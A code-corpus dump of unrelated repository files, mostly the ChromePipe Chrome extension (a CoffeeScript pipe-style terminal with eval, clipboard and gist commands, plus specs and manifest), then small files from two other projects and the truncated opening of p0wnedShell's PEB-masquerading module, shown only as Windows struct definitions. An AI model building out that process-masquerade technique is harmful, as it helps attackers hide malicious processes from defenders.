#TrivialReporter { padding: 8px 13px; position: absolute; top: 0; bottom: 0; left: 0; right: 0; overflow-y: scroll; background-color: white; font-family: "Helvetica Neue Light", "Lucida Grande", "Calibri", "Arial", sans-serif; /*.resultMessage {*/ /*white-space: pre;*/ /*}*/ }
#TrivialReporter a:visited, #TrivialReporter a { color: #303; }
#TrivialReporter a:hover, #TrivialReporter a:active { color: blue; }
#TrivialReporter .run_spec { float: right; padding-right: 5px; font-size: .8em; text-decoration: none; }
#TrivialReporter .banner { color: #303; background-color: #fef; padding: 5px; }
#TrivialReporter .logo { float: left; font-size: 1.1em; padding-left: 5px; }
#TrivialReporter .logo .version { font-size: .6em; padding-left: 1em; }
#TrivialReporter .runner.running { background-color: yellow; }
#TrivialReporter .options { text-align: right; font-size: .8em; }
#TrivialReporter .suite { border: 1px outset gray; margin: 5px 0; padding-left: 1em; }
#TrivialReporter .suite .suite { margin: 5px; }
#TrivialReporter .suite.passed { background-color: #dfd; }
#TrivialReporter .suite.failed { background-color: #fdd; }
#TrivialReporter .spec { margin: 5px; padding-left: 1em; clear: both; }
#TrivialReporter .spec.failed, #TrivialReporter .spec.passed, #TrivialReporter .spec.skipped { padding-bottom: 5px; border: 1px solid gray; }
#TrivialReporter .spec.failed { background-color: #fbb; border-color: red; }
#TrivialReporter .spec.passed { background-color: #bfb; border-color: green; }
#TrivialReporter .spec.skipped { background-color: #bbb; }
#TrivialReporter .messages { border-left: 1px dashed gray; padding-left: 1em; padding-right: 1em; }
#TrivialReporter .passed { background-color: #cfc; display: none; }
#TrivialReporter .failed { background-color: #fbb; }
#TrivialReporter .skipped { color: #777; background-color: #eee; display: none; }
#TrivialReporter .resultMessage span.result { display: block; line-height: 2em; color: black; }
#TrivialReporter .resultMessage .mismatch { color: black; }
#TrivialReporter .stackTrace { white-space: pre; font-size: .8em; margin-left: 10px; max-height: 5em; overflow: auto; border: 1px inset red; padding: 1em; background: #eef; }
#TrivialReporter .finished-at { padding-left: 1em; font-size: .6em; }
#TrivialReporter.show-passed .passed, #TrivialReporter.show-skipped .skipped { display: block; }
/*#TrivialReporter #jasmine_content { position: fixed; right: 100%; }*/
#TrivialReporter .runner { border: 1px solid gray; display: block; margin: 5px 0; padding: 2px 0 2px 10px; }
<|start_filename|>source/js/background-page.coffee<|end_filename|>
class window.ChromePipeBackgroundPage
memory: {}
STORED_KEYS: ['commands']
constructor: ->
@listen()
@updateMemory()
updateMemory: (callback = null) ->
@chromeStorageGet @STORED_KEYS, (answers) =>
for key in @STORED_KEYS
@memory[key] = answers[key] if key of answers
callback?()
chromeStorageGet: (variables, callback) ->
chrome.storage.local.get variables, (answers) => callback?(answers)
chromeStorageSet: (variables, callback) ->
@memory[key] = value for key, value of variables
chrome.storage.local.set variables, => callback?()
listen: ->
chrome.runtime.onMessage.addListener (request, sender, sendResponse) =>
handler = =>
Utils.log "Remote received from #{sender.tab.url} (#{sender.tab.incognito && 'incognito'}): #{JSON.stringify request}"
switch request.command
when 'copy'
Utils.putInClipboard(request.payload.text)
sendResponse()
when 'paste'
sendResponse(text: Utils.getFromClipboard())
when 'coffeeCompile'
try
sendResponse(javascript: CoffeeScript.compile(request.payload.coffeescript))
catch e
sendResponse(errors: e)
when 'getHistory'
sendResponse(commands: @memory.commands || [])
when 'recordCommand'
@updateMemory =>
@memory.commands ||= []
@memory.commands.unshift(request.payload)
@memory.commands = @memory.commands[0..50]
@chromeStorageSet({ commands: @memory.commands }, -> sendResponse({}))
else sendResponse(errors: "unknown command")
setTimeout handler, 10
true # Return true to indicate async message passing: http://developer.chrome.com/extensions/runtime#event-onMessage
errorResponse: (callback, message) ->
Utils.log message
callback errors: [message]
window.backgroundPage = new ChromePipeBackgroundPage()
<|start_filename|>source/js/terminal.coffee<|end_filename|>
class window.ChromePipe.Terminal
MAX_OUTPUT_BUFFER: 1024
constructor: (win, ChromePipe, options = {}) ->
@win = win
@ChromePipe = ChromePipe
@$body = win.$body
@$body.append """
<div id='terminal-app'>
<div class='history'></div>
<div class='prompt-wrapper'>
<span class='prompt'>$</span>
<textarea spellcheck='false' autocorrect='false'></textarea>
</div>
<div class='history-metadata'></div>
</div>
"""
@$history = @$body.find(".history")
@$historyMetadata = @$body.find(".history-metadata")
@history = []
@partialCmd = ''
@lastAutocompleteIndex = 0
@lastAutocompletePrefix = null
@$textarea = @$body.find("textarea")
@setupBin()
@setupNewTerminalSession()
@initInput()
setupBin: ->
@bin = _.chain({})
.extend(ChromePipe.Commands.Terminal)
.reduce(((memo, value, key) -> memo[key] = value if value.run ; memo), {})
.value()
setupNewTerminalSession: ->
@remote 'getHistory', {}, (response) =>
unless @history.length
@history.unshift(command: command.command, output: command.output.split("\n")) for command in response.commands
@historyIndex = @history.length
hidePrompt: ->
@$body.find(".prompt, textarea").hide()
showPrompt: ->
@$body.find(".prompt, textarea").show().focus()
focus: ->
@$textarea.focus()
showHistory: (change) ->
if change == 'up'
@partialCmd = @val() if @historyIndex == @history.length
@historyIndex -= 1
@historyIndex = 0 if @historyIndex < 0
if @history[@historyIndex]
@$textarea.val(@history[@historyIndex].command)
@historyPreview(@history[@historyIndex].output, @history.length - @historyIndex)
else
@historyIndex += 1
if @historyIndex == @history.length
@$textarea.val @partialCmd
@historyPreview(null)
else if @historyIndex > @history.length
@historyIndex = @history.length
else
if @history[@historyIndex]
@$textarea.val(@history[@historyIndex].command)
@historyPreview(@history[@historyIndex].output, @history.length - @historyIndex)
clearInput: ->
@partialCmd = ''
@historyIndex = @history.length
@historyPreview(null)
@val('')
initInput: ->
# @$body.on "click", => @$textarea.focus()
@$textarea.on "keydown", (e) =>
propagate = false
autocompleteIndex = 0
autocompletePrefix = null
if e.which == 13 # return
@process()
else if e.which == 38 # up arrow
@showHistory 'up'
else if e.which == 40 # down arrow
@showHistory 'down'
else if e.which == 37 || e.which == 39 # left and right arrows
propagate = true
else if e.which == 9 # TAB
val = @val()
tokens = val.split(/[^a-zA-Z0-9_-]+/)
lastToken = tokens[tokens.length - 1]
rest = val.slice(0, val.length - lastToken.length)
if lastToken.length > 0
lastToken = @lastAutocompletePrefix if @lastAutocompletePrefix
autocompletePrefix = lastToken
matches = (key for key of @bin when key.indexOf(lastToken) == 0)
if matches.length > 0
@val rest + matches[@lastAutocompleteIndex % matches.length]
autocompleteIndex = @lastAutocompleteIndex + 1
else if e.which == 27 # ESC
if @val() then @clearInput() else @hide()
else
propagate = true
@historyPreview(null)
@historyIndex = @history.length
@lastAutocompleteIndex = autocompleteIndex
@lastAutocompletePrefix = autocompletePrefix
e.preventDefault() unless propagate
val: (newVal) ->
if newVal?
@$textarea.val(newVal)
else
$.trim(@$textarea.val())
historyPreview: (output, index = 1) ->
if output
@$historyMetadata.html("output##{index}: " + Utils.escapeAndLinkify(Utils.truncate(output.join(", "), 100))).show()
else
@$historyMetadata.hide()
process: ->
text = @val()
if text
@write "$ " + text, 'input'
@clearInput()
env =
terminal: this
onCommandFinish: []
bin: @bin
parser = new CommandParser(text, env)
if parser.valid()
@hidePrompt()
signalCatcher = (e) =>
if e.which == 67 && e.ctrlKey # control-c
e.preventDefault()
@error "Caught control-c"
env.int = true
@$body.on "keydown", signalCatcher
stdin = parser.execute()
outputLog = []
stdin.onSenderClose =>
@$body.off "keydown", signalCatcher
@recordCommand text, outputLog, (response) ->
callback(response) for callback in env.onCommandFinish
@showPrompt()
stdin.receive (text, readyForMore) =>
@write text, 'output'
outputLog.push text
outputLog.shift() if outputLog.length > @MAX_OUTPUT_BUFFER
readyForMore()
else
errorMessage = parser.errors.join(", ")
@recordCommand text, ["Error: #{errorMessage}"]
@error errorMessage
error: (text) ->
text = text.join(", ") if _.isArray(text)
@write text, 'error'
write: (text, type) ->
@$history.append($("<div class='item'></div>").html(Utils.escapeAndLinkify line).addClass(type)) for line in text.toString().split("\n")
@$history.scrollTop(@$history[0].scrollHeight)
recordCommand: (command, output, callback) ->
@history.push(command: command, output: output)
@historyIndex = @history.length
@remote 'recordCommand', { command: command, output: output.join("\n") }
remote: (cmd, options, callback = null) ->
Utils.remote cmd, options, callback || (response) =>
@error(response.errors) if response.errors?
clear: ->
@$history.empty()
hide: -> @ChromePipe.hideTerminal()
show: -> @ChromePipe.showTerminal()
<|start_filename|>spec/stream-spec.coffee<|end_filename|>
describe "Stream", ->
stream = null
beforeEach ->
stream = new ChromePipe.Stream()
describe "basic behavior", ->
it "can handle a simple bind receive and then send", ->
receivedText = null
readyForMoreSpy = jasmine.createSpy()
stream.receive (text, readyForMore) ->
receivedText = text
readyForMore()
stream.onReceiver ->
stream.send "hello!", readyForMoreSpy
expect(receivedText).toEqual "hello!"
expect(readyForMoreSpy).toHaveBeenCalled()
it "can handle multiple steps with receive pulling more data when desired", ->
receivedLines = []
stream.onReceiver ->
stream.send "hello 0", ->
stream.send "hello 1", ->
setTimeout ->
stream.send "hello 2", ->
stream.send "hello 3"
stream.senderClose()
, 10
stream.receive (text, readyForMore) ->
receivedLines.push text
if receivedLines.length == 3
setTimeout(readyForMore, 2)
else
readyForMore()
expect(receivedLines).toEqual ["hello 0", "hello 1"]
jasmine.Clock.tick(9)
expect(receivedLines).toEqual ["hello 0", "hello 1"]
jasmine.Clock.tick(1)
expect(receivedLines).toEqual ["hello 0", "hello 1", "hello 2"]
expect(stream.senderClosed).toBe false
jasmine.Clock.tick(2)
expect(stream.senderClosed).toBe true
expect(receivedLines).toEqual ["hello 0", "hello 1", "hello 2", "hello 3"]
describe "closing of streams", ->
it "calls the callback on close", ->
closeSpy = jasmine.createSpy()
stream.onSenderClose closeSpy
expect(closeSpy).not.toHaveBeenCalled()
stream.receive (text, callback) -> callback()
stream.onReceiver ->
stream.senderClose()
expect(closeSpy).toHaveBeenCalled()
it "calls the callback when bound after close", ->
stream.receive (text, callback) -> callback()
stream.onReceiver ->
stream.senderClose()
closeSpy = jasmine.createSpy()
stream.onSenderClose closeSpy
expect(closeSpy).toHaveBeenCalled()
<|start_filename|>spec/command-parser-spec.coffee<|end_filename|>
describe "CommandParser", ->
env = parser = null
beforeEach ->
env = { terminal: {}, bin: {} }
describe "parse", ->
it "splits on pipes", ->
parser = new CommandParser("something | something more foo", env)
parser.parse()
expect(parser.individualCommands).toEqual [["something", ""], ["something", "more foo"]]
describe "valid", ->
it "returns true when all commands are known", ->
env.bin.something = {}
env.bin.more = {}
parser = new CommandParser("something | more", env)
expect(parser.valid()).toBe true
delete env.bin.more
expect(parser.valid()).toBe false
it "stores errors", ->
env.bin.something = {}
parser = new CommandParser("something | more foo bar", env)
expect(parser.valid()).toBe false
expect(parser.errors).toEqual ["Unknown command 'more'"]
describe "execute", ->
it "creates input and output streams and calls each command in a chain", ->
stdin1 = stdin2 = stdout1 = stdout2 = null
env.bin.something =
run: (stdin, stdout) ->
stdin1 = stdin
stdout1 = stdout
stdout.onReceiver -> stdout.senderClose()
env.bin.more =
run: (stdin, stdout) ->
stdin2 = stdin
stdout2 = stdout
stdout.onReceiver -> stdout.senderClose()
parser = new CommandParser("something | more", env)
stdin3 = parser.execute()
expect(stdin1).toEqual null
expect(stdin2).toEqual stdout1
expect(stdin3).toEqual stdout2
it "sets the helpers as 'this' and provides an env", ->
cmdThis = cmdEnv = null
env.bin.something =
run: (stdin, stdout, env) ->
cmdThis = this
cmdEnv = env
parser = new CommandParser("something", env)
stdin3 = parser.execute()
expect(cmdThis).toEqual parser.helpers
expect(cmdEnv).toEqual env
expect(cmdEnv.helpers).toEqual parser.helpers
describe "Some example command flows", ->
runCommand = (command, callback) ->
parser = new CommandParser(command, bin: ChromePipe.Commands.Terminal)
expect(parser.valid()).toBe true
stdin = parser.execute()
output = []
stdin.receive (text, readyForMore) ->
console.log "got #{text}"
output.push text
readyForMore()
stdin.onSenderClose ->
console.log "closed"
callback(output)
beforeEach ->
spyOn(Utils, 'remote').andCallFake (cmd, args, callback) -> callback(javascript: CoffeeScript.compile(args.coffeescript))
describe "eval", ->
it "works with data on input", ->
runCommand "echo 2 | eval parseInt(input) + 2 | grep 4", (output) ->
expect(output).toEqual ["4"]
runCommand "eval [1,2,3] | eval input * 2", (output) ->
expect(output).toEqual [2, 4, 6]
runCommand "eval [1,2,3] | eval input * 2 | grep 4", (output) ->
expect(output).toEqual ["4"]
it "works with code on input", ->
runCommand "echo 2 + 2 | eval", (output) ->
expect(output).toEqual [4]
it "compiles coffeescript and emits arrays as individual items", ->
runCommand "eval [1,2,3] | eval ((i) -> i * i)(input) | collect | eval (i - 1 for i in input)", (output) ->
expect(output).toEqual [0, 3, 8]
<|start_filename|>source/js/utils.coffee<|end_filename|>
window.Utils =
attachElement: (elem, target = null) ->
head = target || document.getElementsByTagName('head')[0]
if head
head.appendChild elem
else
document.body.appendChild elem
loadScript: (src, opts = {}) ->
script = document.createElement('SCRIPT')
script.setAttribute('type', 'text/javascript');
script.setAttribute('src', @forChrome(src + (if opts.reload then "?r=#{Math.random()}" else "")));
@attachElement script
@whenTrue((-> window[opts.loads]?), opts.then) if opts.loads? && opts.then?
loadCSS: (href, opts = {}) ->
link = document.createElement('LINK')
link.setAttribute('rel', 'stylesheet')
link.setAttribute('href', @forChrome(href))
link.setAttribute('type', 'text/css')
link.setAttribute('media', opts.media || 'all')
@attachElement link, opts.target
forChrome: (path) ->
if path.match(/^http/i) then path else chrome?.extension?.getURL(path)
afterRender: (callback) ->
c = =>
try
callback.call(@)
catch e
Utils.log("Exception in afterRender", e, e?.stack)
window.setTimeout c, 1
log: (s...) -> console.log?("ChromePipe: ", s...) if typeof console != 'undefined'
reload: (e = null) ->
e.preventDefault() if e
window.location.reload()
newWindow: (url) -> window.open(url, '_blank')
redirectTo: (url) -> window.location.href = url
alert: (message) -> alert message
urlMatches: (pattern) -> @location()?.match(pattern)
location: -> window.location?.href
title: -> $.trim $("title").text()
domain: -> window.location?.origin?.replace(/^https?:\/\//i, '')
load: (path, opts = {}) ->
@pathCache ||= {}
if @pathCache[path]
opts.callback?()
else
@pathCache[path] = true
xhr = new XMLHttpRequest()
xhr.open("GET", chrome.extension.getURL(path), true)
xhr.onreadystatechange = (e) ->
if xhr.readyState == 4 && xhr.status == 200
if opts.exports
module = {}
eval "(function() { " + xhr.responseText + " })();"
window[opts.exports] = module.exports
else
eval xhr.responseText
opts.callback?()
xhr.send(null)
whenTrue: (condition, callback) ->
go = =>
if condition()
callback()
else
setTimeout go, 50
go()
not: (func) -> return -> !func()
putInClipboard: (text) ->
$elem = $('<textarea />')
$('body').append($elem)
$elem.text(text).select()
document.execCommand("copy", true)
$elem.remove()
getFromClipboard: ->
pasteTarget = document.createElement("div");
pasteTarget.contentEditable = true;
actElem = document.activeElement.appendChild(pasteTarget).parentNode
pasteTarget.focus()
document.execCommand("Paste", null, null)
paste = pasteTarget.innerText
actElem.removeChild(pasteTarget)
paste
remote: (command, payload, callback = ->) ->
chrome.runtime.sendMessage { command: command, payload: payload }, (response) -> callback response
escape: (text) ->
entityMap =
"&": "&"
"<": "<"
">": ">"
'"': '"'
"'": '''
String(text).replace(/[&<>"']/g, (s) -> entityMap[s] )
escapeAndLinkify: (text) ->
@escape(text).replace(/https?:\/\/[^\s]+/i, (s) -> "<a href='#{s}' target='_blank'>#{s}</a>")
truncate: (text, length) ->
if text.length > length - 3
text.slice(0, length - 3) + "..."
else
text
makeWindow: (options = {}) ->
$wrapper = $("<div class='chrome-pipe-wrapper'><iframe></iframe></div>")
$("body").append $wrapper
$wrapper.css(options.css) if options.css?
$iframe = $wrapper.find("iframe")
iframeDocument = $iframe.contents()
win =
shown: true
height: options.height || '500px'
$wrapper: $wrapper
$iframe: $iframe
document: iframeDocument
$body: iframeDocument.find("body")
$head: iframeDocument.find("head")
hide: ->
@shown = false
if options.animate
@$wrapper.animate { height: '0px' }, 150, =>
@$wrapper.hide()
else
@$wrapper.hide()
show: ->
@shown = true
if options.animate
@$wrapper.css('height', '0px').show()
@$wrapper.animate({ height: @height }, 150)
else
@$wrapper.css('height', @height).show()
close: ->
if options.animate
@$wrapper.animate { height: '0px' }, 150, =>
@$wrapper.remove()
else
@$wrapper.remove()
win.$body.addClass('chrome-pipe-iframe')
Utils.loadCSS "chrome.css", target: win.$head.get(0)
unless options.closable == false
$("<div class='close-window'>✕</div>").appendTo(win.$body).on 'click', ->
options.onClose?()
win.close()
win.$iframe.css('height', win.height)
win.show()
win
<|start_filename|>spec/spec-helper.coffee<|end_filename|>
beforeEach ->
$.fx.off = true
jasmine.Clock.useMock()
$.ajaxSettings.xhr = ->
expect("you to mock all ajax, but your tests actually seem").toContain "an ajax call"
afterEach ->
$('#jasmine-content').empty()
$('body').removeClass()
jasmine.Clock.reset()
# Clear any jQuery events
$('body').off()
$(document).off()
<|start_filename|>source/js/chrome-pipe.coffee<|end_filename|>
class window.ChromePipe
constructor: ->
init: ->
@listen document
showTerminal: ->
if @terminalWindow?
@terminalWindow.show()
@terminal.focus()
else
@terminalWindow = Utils.makeWindow
height: '200px'
animate: true
closable: false
css:
left: 0
right: 0
bottom: 0
width: "100%"
@listen @terminalWindow.document
Utils.load "terminal.js", callback: =>
@terminal = new ChromePipe.Terminal(@terminalWindow, this)
@terminal.focus()
hideTerminal: -> @terminalWindow?.hide()
terminalShown: -> @terminalWindow?.shown
listen: (target) ->
$(target).on "keydown", (e) =>
if e.which == 84 && e.altKey
e.preventDefault()
if @terminalShown() then @hideTerminal() else @showTerminal()
log: (args...) -> Utils.log args...
# Class Methods
@start: ->
extension = new this()
extension.init()
<|start_filename|>spec/utils-spec.coffee<|end_filename|>
describe "Utils", ->
describe "not", ->
it "returns the inverse of a function, as a function", ->
expect(Utils.not(-> true)()).toEqual false
expect(Utils.not(-> false)()).toEqual true
describe "whenTrue", ->
it "calls the callback when the condition returns true", ->
result = false
something = -> result
callback = jasmine.createSpy("callback")
Utils.whenTrue something, callback
expect(callback).not.toHaveBeenCalled()
result = true
jasmine.Clock.tick(49)
expect(callback).not.toHaveBeenCalled()
jasmine.Clock.tick(2)
expect(callback).toHaveBeenCalled()
describe "escape", ->
it "should escape HTML", ->
expect(Utils.escape("<strong>hi & stuff</strong>")).toEqual "<strong>hi & stuff</strong>"
describe "escapeAndLinkify", ->
it "should make links clickable and escape HTML", ->
expect(Utils.escapeAndLinkify("> http://google.com/foo/bar?a=b <br/>\"")).toEqual "> <a href='http://google.com/foo/bar?a=b' target='_blank'>http://google.com/foo/bar?a=b</a> <br/>""
<|start_filename|>source/js/commands/terminal/eval.coffee<|end_filename|>
window.ChromePipe.Commands ||= {}
window.ChromePipe.Commands.Terminal ||= {}
$.extend window.ChromePipe.Commands.Terminal,
eval:
desc: "Run inline CoffeeScript"
run: (stdin, stdout, env, args) ->
evalAndEmit = (javascript, input, readyForMore) ->
result = eval(javascript)
result = result.split(/\n/) if _.isString(result)
result = [result] unless _.isArray(result)
if result.length > 0
for line, index in result
if index == result.length - 1 && readyForMore?
stdout.send line, readyForMore
else
stdout.send line
else
readyForMore() if readyForMore?
closed = false
pendingCount = 0
stdout.onReceiver ->
if stdin
stdin.onSenderClose ->
closed = true
stdout.senderClose() if pendingCount == 0
stdin.receive (input, readyForMore) ->
source = if args then args else input
pendingCount += 1
Utils.remote "coffeeCompile", { coffeescript: "return #{source}" }, (response) ->
pendingCount -= 1
try
throw response.errors if response.errors
evalAndEmit response.javascript, input, readyForMore
stdout.senderClose() if closed && pendingCount == 0
catch e
env.helpers.fail(env, stdout, e)
else if args
Utils.remote "coffeeCompile", { coffeescript: "return #{args}" }, (response) ->
try
throw response.errors if response.errors
evalAndEmit response.javascript
stdout.senderClose()
catch e
env.helpers.fail(env, stdout, e)
else
env.helpers.fail(env, stdout, "args or stdin required")
<|start_filename|>source/js/commands/terminal/base.coffee<|end_filename|>
window.ChromePipe.Commands ||= {}
window.ChromePipe.Commands.Terminal ||= {}
$.extend window.ChromePipe.Commands.Terminal,
exit:
desc: "Close the terminal"
run: (stdin, stdout, env) ->
stdout.onReceiver ->
env.terminal.hide()
stdout.senderClose()
clear:
desc: "Clear the terminal"
run: (stdin, stdout, env) ->
stdout.onReceiver ->
env.terminal.clear()
stdout.senderClose()
bugmenot:
desc: "Launch BugMeNot for this site, or the site passed"
run: (stdin, stdout, env, args) ->
args = Utils.domain() unless args
stdout.onReceiver ->
env.terminal.hide()
env.helpers.argsOrStdin [args], stdin, (domains) ->
domain = domains[0]
unless env.int
window.open("http://bugmenot.com/view/" + domain, 'BugMeNot', 'height=500,width=700').focus?()
stdout.send "Launching BugMeNot for '#{domain}'"
stdout.senderClose()
selectorgadget:
desc: "Launch selectorGadget"
run: (stdin, stdout, env) ->
stdout.onReceiver ->
env.terminal.hide()
Utils.loadCSS "vendor/selectorgadget/selectorgadget_combined.css"
Utils.load "vendor/selectorgadget/selectorgadget_combined.js", callback: =>
SelectorGadget.toggle();
Utils.whenTrue (-> $("#selectorgadget_path_field").length > 0 || env.int), ->
lastVal = null
interval = setInterval ->
val = $("#selectorgadget_path_field").val()
lastVal = val unless val == "No valid path found."
, 100
Utils.whenTrue (-> $("#selectorgadget_path_field").length == 0 || env.int), ->
clearInterval interval
env.terminal.show()
stdout.send lastVal || 'unknown'
stdout.senderClose()
random_link:
desc: "Open a random page link"
run: (stdin, stdout) ->
stdout.onReceiver ->
Utils.newWindow document.links[Math.floor(Math.random() * document.links.length)].href
stdout.senderClose()
waybackmachine:
desc: "Open this page in Archive.org's Wayback Machine"
run: (stdin, stdout) ->
stdout.onReceiver ->
Utils.newWindow 'http://web.archive.org/web/*/' + Utils.domain()
stdout.senderClose()
help:
desc: "This help view"
run: (stdin, stdout, env) ->
stdout.onReceiver ->
stdout.send ("#{cmd} - #{opts.desc}" for cmd, opts of env.bin when opts.desc?).join("\n")
stdout.senderClose()
gist:
desc: "Make a new GitHub gist"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
if stdin
stdin.receiveAll (rows) ->
if env.int
stdout.senderClose()
else
files = {}
files[args || 'data.txt'] = { content: rows.join("\n") }
$.post("https://api.github.com/gists", JSON.stringify({ public: true, files: files })).fail(-> stdout.senderClose()).done (resp) ->
stdout.send resp.html_url
stdout.senderClose()
else
Utils.newWindow "https://gist.github.com/"
stdout.senderClose()
namegrep:
desc: "Grep for domain names"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (lines) ->
Utils.newWindow "http://namegrep.com/##{lines.join("|")}"
stdout.senderClose()
requestbin:
desc: "Make a requestb.in"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (lines) ->
if env.int
stdout.senderClose()
else
$.post "http://requestb.in/api/v1/bins", { private: lines[0] == "private" }, (response) ->
stdout.send "http://requestb.in/#{response['name']}?inspect"
stdout.senderClose()
selection:
desc: "Get the current document selection"
run: (stdin, stdout, env) ->
stdout.onReceiver ->
for line in document.getSelection().toString().split("\n")
stdout.send line
stdout.senderClose()
echo:
desc: "Output to the terminal"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
stdout.send args
stdout.senderClose()
grep:
desc: "Search for lines matching a pattern"
run: (stdin, stdout, env, args) ->
return @fail(env, stdout, "stdin required for grep") unless stdin
pattern = new RegExp(args, 'i')
stdout.onReceiver ->
stdin.onSenderClose -> stdout.senderClose()
stdin.receive (text, readyForMore) ->
matches = _.filter(String(text).split("\n"), (line) -> line.match(pattern))
if matches.length > 0
for line, index in matches
if index == matches.length - 1
stdout.send line, readyForMore
else
stdout.send line
else
readyForMore()
_:
desc: "Access the previous command's output"
run: (stdin, stdout, env, args) ->
args = '1' unless args
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (back) ->
for line in (env.terminal.history[env.terminal.historyIndex - parseInt(back[0])]?.output || [])
stdout.send line
stdout.senderClose()
text:
desc: "Access the page's text"
run: (stdin, stdout, env, args) ->
args = 'body' unless args
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (selectors) ->
for selector in selectors
for item in $(selector)
stdout.send $(item).text()
stdout.senderClose()
collect:
desc: "Grab all input into an array"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (rows) ->
stdout.send rows
stdout.senderClose()
jquery:
desc: "Access the page's dom"
run: (stdin, stdout, env, args) ->
args = 'body' unless args
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (selectors) ->
for selector in selectors
for elem in $(selector)
stdout.send $(elem)
stdout.senderClose()
tick:
desc: "Read once per second"
run: (stdin, stdout, env, args) ->
return @fail(env, stdout, "stdin required for tick") unless stdin
stdout.onReceiver ->
stdin.onSenderClose -> stdout.senderClose()
stdin.receive (line, readyForMore) ->
stdout.send line
setTimeout ->
if env.int
stdout.senderClose() unless stdout.senderClosed
else
readyForMore()
, parseInt(args) || 500
yes:
desc: "Emit the given text continuously"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (text) ->
emit = ->
# for sanity
setTimeout ->
if env.int
stdout.senderClose()
else
stdout.send text[0], emit
, 50
emit()
bgPage:
desc: "Manually execute a background page command"
run: (stdin, stdout, env, args) ->
args = 'fetch' unless args
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (cmdLine) ->
[cmd, rest...] = cmdLine[0].split(" ")
payload = {}
for segment in rest
[k, v] = [segment.slice(0, segment.indexOf(':')), segment.slice(segment.indexOf(':') + 1)]
payload[k] = v
Utils.remote cmd, payload, (response) ->
stdout.send JSON.stringify(response)
stdout.senderClose()
pbcopy:
desc: "Put data into the clipboard"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (lines) ->
Utils.remote 'copy', { text: lines.join("\n") }, (response) ->
stdout.senderClose()
pbpaste:
desc: "Pull data from the clipboard"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
Utils.remote 'paste', {}, (response) ->
for line in response.text.split("\n")
stdout.send line
stdout.senderClose()
hn:
desc: "Search hn"
run: (stdin, stdout, env, args) ->
stdout.onReceiver ->
env.helpers.argsOrStdin [args], stdin, (query) ->
Utils.newWindow 'https://hn.algolia.com/?q=' + encodeURIComponent(query)
stdout.senderClose()
<|start_filename|>chrome/manifest.json<|end_filename|>
{
"manifest_version": 2,
"version": "0.1",
"icons": { "16": "app-icons/icon-16x16-unsharp.png",
"48": "app-icons/icon-48x48-unsharp.png",
"128": "app-icons/icon-128x128.png" },
"name": "ChromePipe",
"homepage_url": "https://github.com/cantino/chrome_pipe",
"description": "A Chrome extension experiment with JavaScript UNIXy pipes",
"permissions": [
"tabs", "storage", "clipboardRead", "clipboardWrite", "webNavigation", "http://*/*", "https://*/*"
],
"content_scripts": [
{
"matches": ["https://*/*", "http://*/*"],
"css": ["chrome.css"],
"js": ["vendor/jquery-min.js", "vendor/underscore-min.js", "chrome.js"]
}
],
"background": {
"scripts": [
"vendor/jquery-min.js",
"vendor/underscore-min.js",
"vendor/coffee-script.js",
"background-page.js"
]
},
"web_accessible_resources": [
"chrome.css",
"chrome.js",
"terminal.js",
"vendor/jquery-min.js",
"vendor/coffee-script.js",
"vendor/underscore-min.js",
"vendor/selectorgadget/selectorgadget_combined.js",
"vendor/selectorgadget/selectorgadget_combined.css"
]
}
| cantino/chrome_pipe |
<|start_filename|>demo/form.js<|end_filename|>
const BucketPrice = 10;
pg('#inputEmail3').on('keyup' , 'contextmenu', 'input', function(){
let total = pg('#inputEmail3').val()
pg('#amountFinal').setAttribute('value', `${total}`);
})
| frederic2ec/artikjs |
<|start_filename|>conf.lua<|end_filename|>
function love.conf(t)
t.identity = "iyfct"
t.version = "11.1"
t.console = false
t.window.title = "In Your Face City Trains"
t.window.icon = nil
t.window.width = 900
t.window.height = 300
t.window.borderless = false
t.window.resizable = false
t.window.fullscreen = false
t.window.vsync = true
t.modules.joystick = false
t.modules.mouse = false
t.modules.physics = false
end
| SimonLarsen/iyfct |
<|start_filename|>p0wnedShell/Opsec/p0wnedMasq.cs<|end_filename|>
using System;
using System.IO;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace p0wnedShell
{
class PEBMasq
{
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING : IDisposable
{
public ushort Length;
public ushort MaximumLength;
private IntPtr buffer;
public UNICODE_STRING(string s)
{
Length = (ushort)(s.Length * 2);
MaximumLength = (ushort)(Length + 2);
buffer = Marshal.StringToHGlobalUni(s);
}
public void Dispose()
{
Marshal.FreeHGlobal(buffer);
buffer = IntPtr.Zero;
}
public override string ToString()
{
return Marshal.PtrToStringUni(buffer);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct _LIST_ENTRY
{
public IntPtr Flink;
public IntPtr Blink;
}
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
public int Size
{
get { return (6 * IntPtr.Size); }
}
}
[StructLayout(LayoutKind.Sequential)]
public struct RTL_USER_PROCESS_PARAMETERS
{
public UInt32 MaximumLength;
public UInt32 Length;
public UInt32 Flags;
public UInt32 DebugFlags;
public IntPtr ConsoleHandle;
public UInt32 ConsoleFlags;
public IntPtr StdInputHandle;
public IntPtr StdOutputHandle;
public IntPtr StdErrorHandle;
public UNICODE_STRING CurrentDirectoryPath;
public IntPtr CurrentDirectoryHandle;
public UNICODE_STRING DllPath;
public UNICODE_STRING ImagePathName;
public UNICODE_STRING CommandLine;
};
/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 0x40)]
public struct _PEB
{
[FieldOffset(0x000)]
public byte InheritedAddressSpace;
[FieldOffset(0x001)]
